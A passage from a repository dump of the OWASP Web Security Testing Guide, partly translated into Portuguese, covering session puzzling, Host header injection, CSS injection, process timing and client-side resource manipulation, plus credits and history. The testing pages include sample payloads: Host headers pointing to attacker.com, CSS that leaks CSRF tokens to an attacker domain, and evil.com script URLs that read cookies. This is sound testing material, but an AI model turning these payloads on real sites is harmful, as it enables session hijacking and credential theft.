Elevar os privilégios de uma conta de usuário malicioso, em um ambiente que, de outra forma, seria considerado à prova de falhas. 13 | - Pular fases qualificatórias em processos de várias fases, mesmo se o processo incluir todas as restrições de código comumente recomendadas. 14 | - Manipular valores no lado do servidor por métodos indiretos que não podem ser previstos ou detectados. 15 | - Executar ataques tradicionais em locais anteriormente inatingíveis ou considerados seguros. 16 | 17 | Essa vulnerabilidade ocorre quando uma aplicação utiliza a mesma variável de sessão para mais de um propósito. Um atacante pode potencialmente acessar páginas em uma ordem não antecipada pelos desenvolvedores, de modo que a variável de sessão seja definida em um contexto e, em seguida, utilizada em outro. 18 | 19 | Por exemplo, um atacante poderia usar a sobrecarga de variáveis de sessão para burlar mecanismos eficientes de autenticação de aplicações que exigem autenticação validando a existência de variáveis de sessão que contêm valores relacionados à identidade, os quais geralmente são armazenados na sessão após um processo de autenticação bem-sucedido. Isso significa que um atacante primeiro acessa uma localização na aplicação que define o contexto da sessão e, em seguida, acessa localizações privilegiadas que examinam esse contexto. 20 | 21 | Por exemplo, um vetor de ataque de bypass de autenticação poderia ser executado acessando um ponto de entrada de acesso público (por exemplo, uma página de recuperação de senha) que preenche a sessão com uma variável de sessão idêntica, com base em valores fixos ou em entrada originada pelo usuário. 22 | 23 | ## Objetivos do Teste 24 | 25 | - Identificar todas as variáveis de sessão. 26 | - Interromper o fluxo lógico da geração de sessão. 27 | 28 | ## Como Testar 29 | 30 | ### Teste de Caixa Preta 31 | 32 | Essa vulnerabilidade pode ser detectada e explorada enumerando todas as variáveis de sessão usadas pela aplicação e em qual contexto elas são válidas. Em particular, isso é possível acessando uma sequência de pontos de entrada e, em seguida, examinando os pontos de saída. No caso de teste de caixa preta, esse procedimento é difícil e requer alguma sorte, já que cada sequência diferente pode levar a um resultado diferente. 33 | 34 | #### Exemplos 35 | 36 | Um exemplo muito simples poderia ser a funcionalidade de redefinição de senha que, no ponto de entrada, poderia solicitar ao usuário que forneça algumas informações de identificação, como o nome de usuário ou o endereço de e-mail. Essa página pode então popular a sessão com esses valores de identificação, que são recebidos diretamente do lado do cliente ou obtidos de consultas ou cálculos com base na entrada recebida. Neste ponto, pode haver algumas páginas na aplicação que mostram dados privados com base nesse objeto de sessão. Dessa forma, o atacante poderia burlar o processo de autenticação. 37 | 38 | ### Teste de Caixa Cinza 39 | 40 | A maneira mais eficaz de detectar essas vulnerabilidades é por meio de uma revisão de código-fonte. 41 | 42 | ## Remediação 43 | 44 | As variáveis de sessão devem ser usadas apenas para um único propósito consistente. 45 | 46 | ## Referências 47 | 48 | - [Session Puzzles](https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/puzzlemall/Session%20Puzzles%20-%20Indirect%20Application%20Attack%20Vectors%20-%20May%202011%20-%20Whitepaper.pdf) 49 | - [Session Puzzling and Session Race Conditions](http://sectooladdict.blogspot.com/2011/09/session-puzzling-and-session-race.html) -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/07-Testes-Validacao-de-Entrada-de-Dados/16-Testing_for_HTTP_Incoming_Requests.md: -------------------------------------------------------------------------------- 1 | # Testing for HTTP Incoming Requests 2 | 3 | |ID | 4 | |------------| 5 | |WSTG-INPV-16| 6 | 7 | ## Summary 8 | 9 | This section describes how to monitor all incoming/outgoing HTTP requests on both client-side or server-side. The purpose of this testing is to verify if there is unnecessary or suspicious HTTP request sending in the background. 10 | 11 | Most of Web security testing tools (i.e. AppScan, BurpSuite, ZAP) act as HTTP Proxy. This will require changes of proxy on client-side application or browser. The testing techniques listed below is primary focused on how we can monitor HTTP requests without changes of client-side which will be more close to production usage scenario. 12 | 13 | ## Test Objectives 14 | 15 | - Monitor all incoming and outgoing HTTP requests to the Web Server to inspect any suspicious requests. 16 | - Monitor HTTP traffic without changes of end user Browser proxy or client-side application. 17 | 18 | ## How to Test 19 | 20 | ### Reverse Proxy 21 | 22 | There is situation that we would like to monitor all HTTP incoming requests on web server but we can't change configuration on the browser or application client-side. In this scenario, we can setup a reverse proxy on web server end to monitor all incoming/outgoing requests on web server. 23 | 24 | For windows platform, Fiddler is recommended. It provides not only monitor but can also edit/reply the HTTP requests. Refer to [this reference for how to configure Fiddler as reverse Proxy](http://docs.telerik.com/fiddler/Configure-Fiddler/Tasks/UseFiddlerAsReverseProxy) 25 | 26 | For Linux platform, Charles Web Debugging Proxy may be used. 27 | 28 | The testing steps: 29 | 30 | 1. Install Fiddler or Charles on Web Server 31 | 2. Configure the Fiddler or Charles as Reverse Proxy 32 | 3. Capture the HTTP traffic 33 | 4. Inspect HTTP traffic 34 | 5. Modify HTTP requests and replay the modified requests for testing 35 | 36 | ### Port Forwarding 37 | 38 | Port forwarding is another way to allow us intercept HTTP requests without changes of client-side. You can also use Charles as a SOCKS proxy to act as port forwarding or uses of Port Forwarding tools. It will allow us to forward all coming client-side captured traffic to web server port. 39 | 40 | The testing flow will be: 41 | 42 | 1. Install the Charles or port forwarding on another machine or web Server 43 | 2. Configure the Charles as Socks proxy as port forwarding. 44 | 45 | ### TCP-level Network Traffic Capture 46 | 47 | This technique monitor all the network traffic at TCP-level. TCPDump or WireShark tools can be used. However, these tools don't allow us edit the captured traffic and send modified HTTP requests for testing. To replay the captured traffic (PCAP) packets, Ostinato can be used. 48 | 49 | The testing steps will be: 50 | 51 | 1. Activate TCPDump or WireShark on Web Server to capture network traffic 52 | 2. Monitor the captured files (PCAP) 53 | 3. Edit PCAP files by Ostinato tool based on need 54 | 4. Reply the HTTP requests 55 | 56 | Fiddler or Charles are recommended since these tools can capture HTTP traffic and also easily edit/reply the modified HTTP requests. In addition, if the web traffic is HTTPS, the wireshark will need to import the web server private key to inspect the HTTPS message body. Otherwise, the HTTPS message body of the captured traffic will all be encrypted. 57 | 58 | ## Tools 59 | 60 | - [Fiddler](https://www.telerik.com/fiddler/) 61 | - [TCPProxy](http://grinder.sourceforge.net/g3/tcpproxy.html) 62 | - [Charles Web Debugging Proxy](https://www.charlesproxy.com/) 63 | - [WireShark](https://www.wireshark.org/) 64 | - [PowerEdit-Pcap](https://sourceforge.net/projects/powereditpcap/) 65 | - [pcapteller](https://github.com/BlackArch/pcapteller) 66 | - [replayproxy](https://github.com/sparrowt/replayproxy) 67 | - [Ostinato](https://ostinato.org/) 68 | 69 | ## References 70 | 71 | - [Charles Web Debugging Proxy](https://www.charlesproxy.com/) 72 | - [Fiddler](https://www.telerik.com/fiddler/) 73 | - [TCPDUMP](https://www.tcpdump.org/) 74 | - [Ostinato](https://ostinato.org/) 75 | -------------------------------------------------------------------------------- /1-Frontispicio/README.md: -------------------------------------------------------------------------------- 1 |

Frontispício

2 | 3 |

Sejam Bem-Vindos!

4 | 5 | Ao focarmos na melhoria incremental, esta versão apresenta várias atualizações. 6 | Padronizamos formatos de ilustrações para criarmos uma melhor experiência de leitura. 7 | Adicionamos objetivos para cada cenário de teste, mesclamos seções e adicionamos novos cenários 8 | baseados em tópicos mais atuais de testes. 9 | — Rick Mitchell 10 | 11 | O OWASP agradece aos muitos autores, revisores e editores por seu trabalho árduo ao transformar este guia no que é hoje. Se você tiver algum comentário ou sugestão sobre o guia de teste, sinta-se à vontade para abrir um chamado ou enviar uma correção / contribuição por meio de solicitação de pull request para nosso repositório no GitHub. 12 | 13 |

Direitos autorais e licença

14 | 15 | Este documento foi publicado sob a
licença Creative Commons 4.0 . Por favor, leia e entenda as condições de licença e direitos autorais. 16 | 17 |

Líderes

18 |
    19 |
  • Elie Saad
  • 20 |
  • Rick Mitchell
  • 21 |
22 | 23 |

Time Principal

24 |
    25 |
  • Rejah Rehim
  • 26 |
  • Victoria Drake
  • 27 |
28 | 29 |

Autores

30 |
    31 |
  • Aaron Williams
  • 32 |
  • Alessia Michela Di Campi
  • 33 |
  • Elie Saad
  • 34 |
  • Ismael Goncalves
  • 35 |
  • Janos Zold
  • 36 |
  • Jeremy Bonghwan Choi
  • 37 |
  • Joel Espunya
  • 38 |
  • Manh Pham Tien
  • 39 |
  • Mark Clayton
  • 40 |
  • Or Asaf
  • 41 |
  • rbsec
  • 42 |
  • Rick Mitchell
  • 43 |
  • Rishu Ranjan
  • 44 |
  • Rubal Jain
  • 45 |
  • Samuele Casarin
  • 46 |
  • Stefano Calzavara
  • 47 |
  • Tal Argoni
  • 48 |
  • Victoria Drake
  • 49 |
  • Phu Nguyen (Tony)
  • 50 |
51 | 52 |

Tradutores

53 |
    54 |
  • Dover Hellfeldt
  • 55 |
  • Maurício Ariza
  • 56 |
  • 57 |
58 | 59 |

Designers Gráficos

60 |
    61 |
  • Hugo Costa
  • 62 |
  • Jishnu Vijayan C K
  • 63 |
  • Muhammed Anees
  • 64 |
  • Ramzi Fazah
  • 65 |
66 |

Revisores ou Editores

67 |
    68 |
  • Abhi M Balakrishnan
  • 69 |
  • Asharaf Ali
  • 70 |
  • Elie Saad
  • 71 |
  • Eoin Murphy
  • 72 |
  • Francisco Bustos
  • 73 |
  • frozensolid
  • 74 |
  • Hsiang-Chih Hsu
  • 75 |
  • Jeremy Bonghwan Choi
  • 76 |
  • Lukasz Lubczynski
  • 77 |
  • Miguel Arevalo
  • 78 |
  • Najam Ul Saqib
  • 79 |
  • Nikoleta Misheva
  • 80 |
  • Patrick Santos
  • 81 |
  • Rejah Rehim
  • 82 |
  • Rick Mitchell
  • 83 |
  • Roman Mueller
  • 84 |
  • Thomas Lim
  • 85 |
  • Tom Bowyer
  • 86 |
  • Victoria Drake
  • 87 |
88 | 89 |

Marcas Registradas

90 |
    91 |
  • Java, Java Web Server, and JSP é uma marca registrada da Sun Microsystems, Inc.
  • 92 |
  • Merriam-Webster é uma marca registrada da Merriam-Webster, Inc.
  • 93 |
  • Microsoft é uma marca registrada da Microsoft Corporation.
  • 94 |
  • Octave é uma serviço registrado da Carnegie Mellon University.
  • 95 |
  • Open Web Application Security Project and OWASP são marcas registradas da OWASP Foundation, Inc.
  • 96 |
  • VeriSign and Thawte são marcas registradas da VeriSign, Inc.
  • 97 |
  • Visa é uma marca registrada da VISA USA.
  • 98 |
99 | 100 | Todos os outros produtos e nomes de empresas podem ser marcas comerciais de seus respectivos proprietários. O uso de um termo neste documento não deve afeta a validade de qualquer marca comercial ou marca de serviço. 101 | 102 |

Como contatar a OWASP

103 | Detalhes de contato da Fundação OWASP estão disponíveis online. Se você tiver alguma dúvida sobre um projeto específico, recomendamos usar o Grupo do Google para esse projeto. Muitas perguntas também podem ser respondidas através de pesquisa no site da OWASP , portanto, verifique-o primeiro. 104 | -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/07-Testes-Validacao-de-Entrada-de-Dados/17-Testing_for_Host_Header_Injection.md: -------------------------------------------------------------------------------- 1 | # Testing for Host Header Injection 2 | 3 | |ID | 4 | |------------| 5 | |WSTG-INPV-17| 6 | 7 | ## Summary 8 | 9 | A web server commonly hosts several web applications on the same IP address, referring to each application via the virtual host. In an incoming HTTP request, web servers often dispatch the request to the target virtual host based on the value supplied in the Host header. Without proper validation of the header value, the attacker can supply invalid input to cause the web server to: 10 | 11 | - dispatch requests to the first virtual host on the list 12 | - cause a redirect to an attacker-controlled domain 13 | - perform web cache poisoning 14 | - manipulate password reset functionality 15 | 16 | ## Test Objectives 17 | 18 | - Assess if the Host header is being parsed dynamically in the application. 19 | - Bypass security controls that rely on the header. 20 | 21 | ## How to Test 22 | 23 | Initial testing is as simple as supplying another domain (i.e. `attacker.com`) into the Host header field. It is how the web server processes the header value that dictates the impact. The attack is valid when the web server processes the input to send the request to an attacker-controlled host that resides at the supplied domain, and not to an internal virtual host that resides on the web server. 24 | 25 | ```http 26 | GET / HTTP/1.1 27 | Host: www.attacker.com 28 | [...] 29 | ``` 30 | 31 | In the simplest case, this may cause a 302 redirect to the supplied domain. 32 | 33 | ```http 34 | HTTP/1.1 302 Found 35 | [...] 36 | Location: http://www.attacker.com/login.php 37 | 38 | ``` 39 | 40 | Alternatively, the web server may send the request to the first virtual host on the list. 41 | 42 | ### X-Forwarded Host Header Bypass 43 | 44 | In the event that Host header injection is mitigated by checking for invalid input injected via the Host header, you can supply the value to the `X-Forwarded-Host` header. 45 | 46 | ```http 47 | GET / HTTP/1.1 48 | Host: www.example.com 49 | X-Forwarded-Host: www.attacker.com 50 | ... 51 | ``` 52 | 53 | Potentially producing client-side output such as: 54 | 55 | ```html 56 | ... 57 | 58 | ... 59 | ``` 60 | 61 | Once again, this depends on how the web server processes the header value. 62 | 63 | ### Web Cache Poisoning 64 | 65 | Using this technique, an attacker can manipulate a web-cache to serve poisoned content to anyone who requests it. This relies on the ability to poison the caching proxy run by the application itself, CDNs, or other downstream providers. As a result, the victim will have no control over receiving the malicious content when requesting the vulnerable application. 66 | 67 | ```http 68 | GET / HTTP/1.1 69 | Host: www.attacker.com 70 | ... 71 | ``` 72 | 73 | The following will be served from the web cache, when a victim visits the vulnerable application. 74 | 75 | ```html 76 | ... 77 | 78 | ... 79 | ``` 80 | 81 | ### Password Reset Poisoning 82 | 83 | It is common for password reset functionality to include the Host header value when creating password reset links that use a generated secret token. If the application processes an attacker-controlled domain to create a password reset link, the victim may click on the link in the email and allow the attacker to obtain the reset token, thus resetting the victim's password. 84 | 85 | ```text 86 | ... Email snippet ... 87 | 88 | Click on the following link to reset your password: 89 | 90 | http://www.attacker.com/index.php?module=Login&action=resetPassword&token= 91 | 92 | ... Email snippet ... 93 | ``` 94 | 95 | ## References 96 | 97 | - [What is a Host Header Attack?](https://www.acunetix.com/blog/articles/automated-detection-of-host-header-attacks/) 98 | - [Host Header Attack](https://www.briskinfosec.com/blogs/blogsdetail/Host-Header-Attack) 99 | - [Practical HTTP Host Header Attacks](https://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html) 100 | -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/01-Coleta-de-Informacoes/07-Mapear-Fluxos-de-Execucação-do-Applicativo.md: -------------------------------------------------------------------------------- 1 | # Mapear Fluxos de Execução do Aplicativo 2 | 3 | |ID | 4 | |------------| 5 | |WSTG-INFO-07| 6 | 7 | ## Resumo 8 | 9 | Antes de iniciar os testes de segurança, entender a estrutura do aplicativo é primordial. Sem um entendimento aprofundado do layout do aplicativo, é improvável que ele seja testada de forma abrangente. 10 | 11 | ## Objetivos do Teste 12 | 13 | - Mapear a aplicação-alvo e compreender os fluxos de código principais. 14 | 15 | ## Como Testar 16 | 17 | No teste de caixa-preta, é extremamente difícil testar todo o código-fonte. Não apenas porque o testador não tem visão do fluxo de código através do aplicativo, mas mesmo se tivesse, testar todos os fluxos de código seria muito demorado. Uma maneira de reconciliar isso é documentar quais fluxos de código foram descobertos e testados. 18 | 19 | Existem várias maneiras de abordar o teste e medição de cobertura de código: 20 | 21 | - **Fluxo** - testar cada um dos fluxos através de uma aplicação que inclui testes de análise combinatória e de valores limites para cada fluxo de decisão. Embora essa abordagem ofereça minúcia, o número de fluxos testáveis cresce exponencialmente a cada ramificação de decisão. 22 | - **Fluxo de Dados (ou Análise de Taint)** - testa a atribuição de variáveis via interação externa (normalmente usuários). Concentra-se em mapear o fluxo, transformação e uso de dados em toda a aplicação. 23 | - **Concorrência** - testa várias instâncias simultâneas do aplicativo manipulando os mesmos dados. 24 | 25 | A compensação quanto ao método utilizado e em que grau cada método é utilizado deve ser negociada com o proprietário do aplicativo. Abordagens mais simples também podem ser adotadas, incluindo perguntar ao proprietário do aplicativo sobre quais funções ou seções de código eles estão particularmente preocupados e como esses segmentos de código podem ser alcançados. 26 | 27 | Para demonstrar a cobertura de código ao proprietário do aplicativo, o testador pode começar com uma planilha e documentar todos os links descobertos ao explorar a aplicação (manualmente ou automaticamente). Em seguida, o testador pode examinar mais de perto os pontos de decisão na aplicação e investigar quantos fluxos de código significativos são descobertos. Esses devem ser documentados na planilha com URLs, descrições em prosa e capturas de tela dos fluxos descobertos. 28 | 29 | ### Revisão de Código 30 | 31 | Garantir cobertura de código suficiente para o proprietário do aplicativo é muito mais fácil com uma abordagem de teste de caixa cinza e caixa branca. As informações solicitadas e fornecidas ao testador garantirão que os requisitos mínimos de cobertura de código sejam atendidos. 32 | 33 | Muitas ferramentas modernas de Teste Dinâmico de Segurança de Aplicações (DAST) facilitam o uso de um agente de servidor web ou podem ser emparelhadas com um agente de terceiros para monitorar especificidades de cobertura de aplicação web. 34 | 35 | ### Spidering Automático 36 | 37 | O spidering automático é uma ferramenta usada para descobrir automaticamente novos recursos (URLs) em um site específico. Ele começa com uma lista de URLs para visitar, chamada sementes, que depende de como o Spider é iniciado. Embora existam muitas ferramentas de Spidering, o exemplo a seguir usa o [Zed Attack Proxy (ZAP)](https://github.com/zaproxy/zaproxy): 38 | 39 | ![Tela do Zed Attack Proxy](images/OWASPZAPSP.png)\ 40 | *Figura 4.1.7-1: Tela do Zed Attack Proxy* 41 | 42 | [ZAP](https://github.com/zaproxy/zaproxy) oferece várias opções de spidering automático, que podem ser aproveitadas com base nas necessidades do testador: 43 | 44 | - [Spider](https://www.zaproxy.org/docs/desktop/start/features/spider/) 45 | - [AJAX Spider](https://www.zaproxy.org/docs/desktop/addons/ajax-spider/) 46 | - [Suporte OpenAPI](https://www.zaproxy.org/docs/desktop/addons/openapi-support/) 47 | 48 | ## Ferramentas 49 | 50 | - [Zed Attack Proxy (ZAP)](https://github.com/zaproxy/zaproxy) 51 | - [Lista de softwares de planilha](https://pt.wikipedia.org/wiki/Lista_de_programas_de_planilha) 52 | - [Softwares de diagramação](https://pt.wikipedia.org/wiki/Lista_de_programas_de_diagrama%C3%A7%C3%A3o) 53 | 54 | ## Referências 55 | 56 | - [Cobertura de Código](https://pt.wikipedia.org/wiki/Cobertura_de_c%C3%B3digo) 57 | ``` -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/11-Testes-a-Nivel-do-Cliente/05-Testing_for_CSS_Injection.md: -------------------------------------------------------------------------------- 1 | # Testing for CSS Injection 2 | 3 | |ID | 4 | |------------| 5 | |WSTG-CLNT-05| 6 | 7 | ## Summary 8 | 9 | A CSS Injection vulnerability involves the ability to inject arbitrary CSS code in the context of a trusted web site which is rendered inside a victim's browser. The impact of this type of vulnerability varies based on the supplied CSS payload. It may lead to cross site scripting or data exfiltration. 10 | 11 | This vulnerability occurs when the application allows user-supplied CSS to interfere with the application's legitimate style sheets. Injecting code in the CSS context may provide an attacker with the ability to execute JavaScript in certain conditions, or to extract sensitive values using CSS selectors and functions able to generate HTTP requests. Generally, allowing users the ability to customize pages by supplying custom CSS files is a considerable risk. 12 | 13 | The following JavaScript code shows a possible vulnerable script in which the attacker is able to control the `location.hash` (source) which reaches the `cssText` function (sink). This particular case may lead to DOM-based XSS in older browser versions; for more information, see the [DOM-based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html). 14 | 15 | ```html 16 | Click me 17 | 22 | ``` 23 | 24 | The attacker could target the victim by asking them to visit the following URLs: 25 | 26 | - `www.victim.com/#red;-o-link:'';-o-link-source:current;` (Opera \[8,12\]) 27 | - `www.victim.com/#red;-:expression(alert(URL=1));` (IE 7/8) 28 | 29 | The same vulnerability may appear in the case of reflected XSS, for example, in the following PHP code: 30 | 31 | ```html 32 | 38 | ``` 39 | 40 | Further attack scenarios involve the ability to extract data through the adoption of pure CSS rules. Such attacks can be conducted through CSS selectors, leading to the exfiltration of data, for example, CSRF tokens. 41 | 42 | Here is an example of code that attempts to select an input with a `name` matching `csrf_token` and a `value` beginning with an `a`. By utilizing a brute-force attack to determine the attribute's `value`, it is possible to carry out an attack that sends the value to the attacker's domain, such as by attempting to set a background image on the selected input element. 43 | 44 | ```html 45 | 50 | ``` 51 | 52 | Other attacks using solicited content such as CSS are highlighted in [Mario Heiderich's talk, "Got Your Nose"](https://www.youtube.com/watch?v=FIQvAaZj_HA) on YouTube. 53 | 54 | ## Test Objectives 55 | 56 | - Identify CSS injection points. 57 | - Assess the impact of the injection. 58 | 59 | ## How to Test 60 | 61 | Code should be analyzed to determine if a user is permitted to inject content in the CSS context. Particularly, the way in which the website returns CSS rules on the basis of the inputs should be inspected. 62 | 63 | The following is a basic example: 64 | 65 | ```html 66 | Click me 67 | Hi 68 | 73 | ``` 74 | 75 | The above code contains a source `location.hash`, controlled by the attacker, that can inject directly in the `style` attribute of an HTML element. As mentioned above, this may lead to different results depending on the browser in use and the supplied payload. 76 | 77 | The following pages provide examples of CSS injection vulnerabilities: 78 | 79 | - [Password "cracker" via CSS and HTML5](http://html5sec.org/invalid/?length=25) 80 | - [CSS attribute reading](http://eaea.sirdarckcat.net/cssar/v2/) 81 | - [JavaScript based attacks using `CSSStyleDeclaration` with unescaped input](https://github.com/wisec/domxsswiki/wiki/CSS-Text-sink) 82 | 83 | For further OWASP resources on preventing CSS injection, see the [Securing Cascading Style Sheets Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Securing_Cascading_Style_Sheets_Cheat_Sheet.html). 84 | -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/10-Testes-de-Logica-de-Negocios/04-Test_for_Process_Timing.md: -------------------------------------------------------------------------------- 1 | # Test for Process Timing 2 | 3 | |ID | 4 | |------------| 5 | |WSTG-BUSL-04| 6 | 7 | ## Summary 8 | 9 | It is possible that attackers can gather information on an application by monitoring the time it takes to complete a task or give a respond. Additionally, attackers may be able to manipulate and break designed business process flows by simply keeping active sessions open and not submitting their transactions in the "expected" time frame. 10 | 11 | Process timing logic vulnerabilities is unique in that these manual misuse cases should be created considering execution and transaction timing that are application/system specific. 12 | 13 | Processing timing may give/leak information on what is being done in the application/system background processes. If an application allows users to guess what the particulate next outcome will be by processing time variations, users will be able to adjust accordingly and change behavior based on the expectation and "game the system". 14 | 15 | ### Example 1 16 | 17 | Video gambling/slot machines may take longer to process a transaction just prior to a large payout. This would allow astute gamblers to gamble minimum amounts until they see the long process time which would then prompt them to bet the maximum. 18 | 19 | ### Example 2 20 | 21 | Many system log on processes ask for the username and password. If you look closely you may be able to see that entering an invalid username and invalid user password takes more time to return an error than entering a valid username and invalid user password. This may allow the attacker to know if they have a valid username and not need to rely on the GUI message. 22 | 23 | ![Example Control Flow of Login Form](images/Control_Flow_of_Login_Form.jpg)\ 24 | *Figure 4.10.4-1: Example Control Flow of Login Form* 25 | 26 | ### Example 3 27 | 28 | Most Arenas or travel agencies have ticketing applications that allow users to purchase tickets and reserve seats. When the user requests the tickets seats are locked or reserved pending payment. What if an attacker keeps reserving seats but not checking out? Will the seats be released, or will no tickets be sold? Some ticket vendors now only allow users 5 minutes to complete a transaction or the transaction is invalidated. 29 | 30 | ### Example 4 31 | 32 | Suppose a precious metals e-commerce site allows users to make purchases with a price quote based on market price at the time they log on. What if an attacker logs on and places an order but does not complete the transaction until later in the day only of the price of the metals goes up? Will the attacker get the initial lower price? 33 | 34 | ## Test Objectives 35 | 36 | - Review the project documentation for system functionality that may be impacted by time. 37 | - Develop and execute misuse cases. 38 | 39 | ## How to Test 40 | 41 | The tester should identify which processes are dependent on time, whether it was a window for a task to be completed, or if it was execution time between two processes that could allow the bypass of certain controls. 42 | 43 | Following that, it is best to automate the requests that will abuse the above discovered processes, as tools are better fit to analyze the timing and are more precise than manual testing. If this is not possible, manual testing could still be used. 44 | 45 | The tester should draw a diagram of how the process flows, the injection points, and prepare the requests before hand to launch them at the vulnerable processes. Once done, close analysis should be done to identify differences in the process execution, and if the process is misbehaving against the agreed upon business logic. 46 | 47 | ## Related Test Cases 48 | 49 | - [Testing for Cookies Attributes](../06-Session_Management_Testing/02-Testing_for_Cookies_Attributes.md) 50 | - [Test Session Timeout](../06-Session_Management_Testing/07-Testing_Session_Timeout.md) 51 | 52 | ## Remediation 53 | 54 | Develop applications with processing time in mind. If attackers could possibly gain some type of advantage from knowing the different processing times and results add extra steps or processing so that no matter the results they are provided in the same time frame. 55 | 56 | Additionally, the application/system must have mechanism in place to not allow attackers to extend transactions over an "acceptable" amount of time. This may be done by canceling or resetting transactions after a specified amount of time has passed like some ticket vendors are now using. 57 | -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/11-Testes-a-Nivel-do-Cliente/06-Testing_for_Client-side_Resource_Manipulation.md: -------------------------------------------------------------------------------- 1 | # Testing for Client-side Resource Manipulation 2 | 3 | |ID | 4 | |------------| 5 | |WSTG-CLNT-06| 6 | 7 | ## Summary 8 | 9 | A client-side resource manipulation vulnerability is an input validation flaw. It occurs when an application accepts user-controlled input that specifies the path of a resource such as the source of an iframe, JavaScript, applet, or the handler of an XMLHttpRequest. This vulnerability consists of the ability to control the URLs that link to some resources present in a web page. The impact of this vulnerability varies, and it is usually adopted to conduct XSS attacks. This vulnerability makes it is possible to interfere with the expected application's behavior by causing it to load and render malicious objects. 10 | 11 | The following JavaScript code shows a possible vulnerable script in which an attacker is able to control the `location.hash` (source) which reaches the attribute `src` of a script element. This particular case leads to a XSS attack as external JavaScript could be injected. 12 | 13 | ```html 14 | 21 | ``` 22 | 23 | An attacker could target a victim by causing them to visit this URL: 24 | 25 | `www.victim.com/#http://evil.com/js.js` 26 | 27 | Where `js.js` contains: 28 | 29 | ```js 30 | alert(document.cookie) 31 | ``` 32 | 33 | This would cause the alert to pop up on the victim's browser. 34 | 35 | A more damaging scenario involves the possibility of controlling the URL called in a CORS request. Since CORS allows the target resource to be accessible by the requesting domain through a header-based approach, the attacker may ask the target page to load malicious content from its own website. 36 | 37 | Here is an example of a vulnerable page: 38 | 39 | ```html 40 | 41 | 56 | ``` 57 | 58 | The `location.hash` is controlled by user input and is used for requesting an external resource, which will then be reflected through the construct `innerHTML`. An attacker could ask a victim to visit the following URL: 59 | 60 | `www.victim.com/#http://evil.com/html.html` 61 | 62 | With the payload handler for `html.html`: 63 | 64 | ```html 65 | 68 | 69 | ``` 70 | 71 | ## Test Objectives 72 | 73 | - Identify sinks with weak input validation. 74 | - Assess the impact of the resource manipulation. 75 | 76 | ## How to Test 77 | 78 | To manually check for this type of vulnerability, we must identify whether the application employs inputs without correctly validating them. If so, these inputs are under the control of the user and could be used to specify external resources. Since there are many resources that could be included in the application (such as images, video, objects, css, and iframes), the client-side scripts that handle the associated URLs should be investigated for potential issues. 79 | 80 | The following table shows possible injection points (sink) that should be checked: 81 | 82 | | Resource Type | Tag/Method | Sink | 83 | | --------------- | ----------------------------------------- | ------ | 84 | | Frame | iframe | src | 85 | | Link | a | href | 86 | | AJAX Request | `xhr.open(method, [url], true);` | URL | 87 | | CSS | link | href | 88 | | Image | img | src | 89 | | Object | object | data | 90 | | Script | script | src | 91 | 92 | The most interesting ones are those that allow to an attacker to include client-side code (for example JavaScript) that could lead to XSS vulnerabilities. 93 | -------------------------------------------------------------------------------- /6-Apendice/E-History.md: -------------------------------------------------------------------------------- 1 | # History 2 | 3 | The Testing Guide v4 was released in 2014. The Testing guide originated in 2003 with Dan Cuthbert as one of the original editors. It was handed over to Eoin Keary in 2005 and transformed into a wiki. From 2013 Andrew Muller co-lead the project with Matteo Meucci into 2018/2019. Point releases after v4 and the ramp toward v5 is being lead by Rick Mitchell and Elie Saad. 4 | 5 | - April, 2020: OWASP Testing Guide, Version 4.1 6 | - September, 2014: OWASP Testing Guide, Version 4.0 7 | - September, 2008: OWASP Testing Guide, Version 3.0 8 | - December, 2006: OWASP Testing Guide, Version 2.0 9 | - July, 2004: OWASP Web Application Penetration Checklist, Version 1.1 10 | - December, 2004: The OWASP Testing Guide, Version 1.0 11 | 12 | ## Leaders 13 | 14 | - Matteo Meucci: OWASP Testing Guide Lead 2007-2020. 15 | - Andrew Muller: OWASP Testing Guide Lead 2013-2019. 16 | - Eoin Keary: OWASP Testing Guide Lead 2005-2007. 17 | - Daniel Cuthbert: OWASP Testing Guide Lead 2003-2005. 18 | 19 | ## v4 Authors 20 | 21 | ```html 22 | - Matteo Meucci - Thomas Ryan - Mike Hryekewicz - Eduardo Castellano - Babu Arokiadas 23 | - Pavol Luptak - Tim Bertels - Simon Bennetts - Simone Onofri - Rob Barnes 24 | - Marco Morana - Cecil Su - Ray Schippers - Harword Sheen - Ben Walther 25 | - Giorgio Fedon - Aung KhAnt - Raul Siles - Amro AlOlaqi - Anant Shrivastava 26 | - Stefano Di Paola - Norbert Szetei - Jayanta Karmakar - Suhas Desai - Colin Watson 27 | - Gianrico Ingrosso - Michael Boman - Brad Causey - Ryan Dewhurst - Luca Carettoni 28 | - Giuseppe Bonfà - Wagner Elias - Vicente Aguilera - Zaki Akhmad - Eoin Keary 29 | - Andrew Muller - Kevin Horvat - Ismael Gonçalves - Davide Danelon - Jeff Williams 30 | - Robert Winkel - Tom Brennan - David Fern - Alexander Antukh - Juan Manuel Bahamonde 31 | - Roberto Suggi Liverani - Tomas Zatko - Tom Eston - Thomas Kalamaris - Thomas Skora 32 | - Tripurari Rai - Juan Galiana Lara - Kevin Horvath - Alexander Vavousis - Irene Abezgauz 33 | - Robert Smith - Sumit Siddharth - Rick Mitchell - Christian Heinrich - Hugo Costa 34 | ``` 35 | 36 | ## v4 Reviewers 37 | 38 | ```html 39 | - Davide Danelon - Andrea Rosignoli - Irene Abezgauz 40 | - Lode Vanstechelman - Sebastien Gioria - Yiannis Pavlosoglou 41 | - Aditya Balapure 42 | ``` 43 | 44 | ## v3 Authors 45 | 46 | ```html 47 | - Anurag Agarwwal - Giorgio Fedon - Gianrico Ingrosso - Mark Roxberry 48 | - Ferruh Mavituna - Antonio Parata - Andrew Van der Stock - Marco Mella 49 | - Daniele Bellucci - Adam Goodman - Roberto Suggi Liverani - Cecil Su 50 | - Kevin Horvath - Marco Morana - Harish Skanda Sureddy - Pavol Luptak 51 | - Matteo Meucci - Stefano Di Paola - Christian Heinrich - Marco Morana 52 | ``` 53 | 54 | ## v3 Reviewers 55 | 56 | ```html 57 | - Marco Cova - Matteo Meucci - Rick 